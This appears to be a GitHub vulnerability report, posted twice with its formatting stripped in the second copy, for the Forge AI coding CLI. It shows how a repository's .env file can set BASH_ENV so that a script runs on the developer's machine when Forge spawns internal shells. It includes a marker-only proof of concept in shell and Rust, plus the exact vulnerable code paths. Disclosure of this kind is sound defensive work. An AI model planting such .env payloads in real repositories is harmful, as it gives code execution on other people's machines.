Bug Description
Bug Description
Forge automatically loads .env files while walking upward from the process current working directory. The loaded variables remain in Forge's environment and are inherited by every shell subprocess. A repository-controlled .env can therefore set BASH_ENV to a repository-controlled script. When Forge later runs a normal internal Bash command, non-interactive Bash sources that script before executing the requested command.
This gives arbitrary code execution with the Forge user's privileges. It does not require the model to select a shell tool, and the current shell-tool permission check does not cover this path.
The issue is reproducible on the latest main revision tested: 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (0.1.0, 2026-08-08). The reproduction uses only a marker file and does not read credentials or make a network request.
Steps to Reproduce
Steps to Reproduce
The following is the end-to-end CLI trigger path. A configured provider is needed to complete the chat request, but the marker-only Rust harness below dynamically verifies the same .env loading and shell-spawn source-to-sink path without contacting an AI provider. Use a disposable directory and ensure BASH_ENV is not already set in the parent environment.
-
Build Forge from the affected revision:
git clone https://github.com/tailcallhq/forgecode.git
cd forgecode
git checkout 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0
cargo build --release
-
Create a disposable repository containing a malicious .env and a marker-only startup script:
POC_DIR="$(mktemp -d)"
cat > "$POC_DIR/startup.sh" <<EOF
printf 'pwned\n' > "$POC_DIR/marker.txt"
EOF
printf 'BASH_ENV=%s/startup.sh\n' "$POC_DIR" > "$POC_DIR/.env"
git -C "$POC_DIR" init
-
Run the trusted Forge binary with the process current directory set to the disposable repository. With a configured provider, Forge enters the normal chat flow and performs internal shell commands during instruction discovery:
cd "$POC_DIR"
env -u BASH_ENV SHELL=/bin/bash /path/to/forgecode/target/release/forge --prompt "hello"
-
Check the marker:
cat "$POC_DIR/marker.txt"
The output is:
The source-to-sink behavior was dynamically validated without an AI provider by calling Forge's public configuration reader and command executor with this marker-only Rust harness. From the Forge checkout, add poc/env-repro to the root workspace member list and create poc/env-repro/Cargo.toml with:
[package]
name = "forgecode_env_repro"
version = "0.1.0"
edition = "2024"
[dependencies]
anyhow = "1"
tempfile = "3"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
forge_config = { path = "../../crates/forge_config" }
forge_app = { path = "../../crates/forge_app" }
forge_domain = { path = "../../crates/forge_domain" }
forge_infra = { path = "../../crates/forge_infra" }
Save the following as poc/env-repro/src/main.rs, then run env -u BASH_ENV cargo run --manifest-path poc/env-repro/Cargo.toml from the Forge checkout:
use anyhow::Context;
use forge_app::CommandInfra;
use forge_config::ForgeConfig;
use forge_domain::Environment;
use forge_infra::{ForgeCommandExecutorService, StdConsoleWriter};
use std::path::PathBuf;
use std::sync::Arc;
use tempfile::TempDir;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let temp = TempDir::new()?;
let marker = temp.path().join("marker.txt");
let startup = temp.path().join("startup.sh");
std::fs::write(&startup, format!("printf 'pwned\n' > {}\n", marker.display()))?;
std::fs::write(temp.path().join(".env"), format!("BASH_ENV={}\n", startup.display()))?;
std::env::set_current_dir(temp.path())?;
let _config = ForgeConfig::read().context("config read")?;
let env = Environment {
os: std::env::consts::OS.to_string(),
cwd: temp.path().to_path_buf(),
home: None,
shell: "/bin/bash".to_string(),
base_path: temp.path().to_path_buf(),
};
let executor = ForgeCommandExecutorService::new(env, Arc::new(StdConsoleWriter::default()));
executor
.execute_command("echo ok".to_string(), PathBuf::from(temp.path()), true, None)
.await?;
assert_eq!(std::fs::read_to_string(marker)?.trim(), "pwned");
Ok(())
}
The harness prints or asserts marker_content=pwned. It is run from a temporary directory and does not execute any repository-provided script. I did not use real credentials or run an external network request.
Expected Behavior
Expected Behavior
Project-controlled .env values should not be able to configure interpreter startup behavior for Forge's internal subprocesses without an explicit workspace trust decision. Running Forge in a repository should not execute arbitrary code merely because the repository contains a .env file.
If project .env support is intentional, shell startup variables such as BASH_ENV and ENV should be removed or separately approved before Forge spawns an internal shell. The approval should apply to the final effective environment used for the subprocess.
Actual Behavior
Actual Behavior
ForgeConfig::read() loads .env from the process current directory before the CLI applies the optional -C/--directory value. The resulting BASH_ENV value is inherited by ForgeCommandExecutorService, which starts /bin/bash -c <command> without removing it. Bash sources the referenced script before running the fixed internal command.
In the normal chat flow, Forge invokes shell commands such as git rev-parse --show-toplevel while discovering project instructions. The marker script therefore executes after starting a normal chat and before any model-selected shell tool is involved.
Relevant source locations in the affected revision:
crates/forge_config/src/reader.rs:10-30: automatically loads .env files from the process current directory upward.
crates/forge_main/src/main.rs:105-108: reads configuration before resolving -C/--directory.
crates/forge_infra/src/executor.rs:29-38,57-70,103-106: starts the configured shell with inherited environment using -c.
crates/forge_services/src/instructions.rs:49-57: runs git rev-parse --show-toplevel through that executor during instruction discovery.
crates/forge_app/src/app.rs:73-80: invokes instruction discovery as part of a normal chat request.
Forge Version
0.1.0, built from source at 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (origin/main, 2026-08-08).
Operating System & Version
No response
AI Provider
None
Model
No response
Installation Method
Built from source
Configuration
Bug Description
Bug Description
Forge automatically loads
.envfiles while walking upward from the process current working directory. The loaded variables remain in Forge's environment and are inherited by every shell subprocess. A repository-controlled.envcan therefore setBASH_ENVto a repository-controlled script. When Forge later runs a normal internal Bash command, non-interactive Bash sources that script before executing the requested command.This gives arbitrary code execution with the Forge user's privileges. It does not require the model to select a shell tool, and the current shell-tool permission check does not cover this path.
The issue is reproducible on the latest
mainrevision tested:6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0(0.1.0, 2026-08-08). The reproduction uses only a marker file and does not read credentials or make a network request.Steps to Reproduce
Steps to Reproduce
The following is the end-to-end CLI trigger path. A configured provider is needed to complete the chat request, but the marker-only Rust harness below dynamically verifies the same
.envloading and shell-spawn source-to-sink path without contacting an AI provider. Use a disposable directory and ensureBASH_ENVis not already set in the parent environment.Build Forge from the affected revision:
git clone https://github.com/tailcallhq/forgecode.git cd forgecode git checkout 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 cargo build --releaseCreate a disposable repository containing a malicious
.envand a marker-only startup script:Run the trusted Forge binary with the process current directory set to the disposable repository. With a configured provider, Forge enters the normal chat flow and performs internal shell commands during instruction discovery:
Check the marker:
cat "$POC_DIR/marker.txt"The output is:
The source-to-sink behavior was dynamically validated without an AI provider by calling Forge's public configuration reader and command executor with this marker-only Rust harness. From the Forge checkout, add
poc/env-reproto the root workspace member list and createpoc/env-repro/Cargo.tomlwith:Save the following as
poc/env-repro/src/main.rs, then runenv -u BASH_ENV cargo run --manifest-path poc/env-repro/Cargo.tomlfrom the Forge checkout:The harness prints or asserts
marker_content=pwned. It is run from a temporary directory and does not execute any repository-provided script. I did not use real credentials or run an external network request.Expected Behavior
Expected Behavior
Project-controlled
.envvalues should not be able to configure interpreter startup behavior for Forge's internal subprocesses without an explicit workspace trust decision. Running Forge in a repository should not execute arbitrary code merely because the repository contains a.envfile.If project
.envsupport is intentional, shell startup variables such asBASH_ENVandENVshould be removed or separately approved before Forge spawns an internal shell. The approval should apply to the final effective environment used for the subprocess.Actual Behavior
Actual Behavior
ForgeConfig::read()loads.envfrom the process current directory before the CLI applies the optional-C/--directoryvalue. The resultingBASH_ENVvalue is inherited byForgeCommandExecutorService, which starts/bin/bash -c <command>without removing it. Bash sources the referenced script before running the fixed internal command.In the normal chat flow, Forge invokes shell commands such as
git rev-parse --show-toplevelwhile discovering project instructions. The marker script therefore executes after starting a normal chat and before any model-selected shell tool is involved.Relevant source locations in the affected revision:
crates/forge_config/src/reader.rs:10-30: automatically loads.envfiles from the process current directory upward.crates/forge_main/src/main.rs:105-108: reads configuration before resolving-C/--directory.crates/forge_infra/src/executor.rs:29-38,57-70,103-106: starts the configured shell with inherited environment using-c.crates/forge_services/src/instructions.rs:49-57: runsgit rev-parse --show-toplevelthrough that executor during instruction discovery.crates/forge_app/src/app.rs:73-80: invokes instruction discovery as part of a normal chat request.Forge Version
0.1.0, built from source at6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0(origin/main, 2026-08-08).Operating System & Version
No response
AI Provider
None
Model
No response
Installation Method
Built from source
Configuration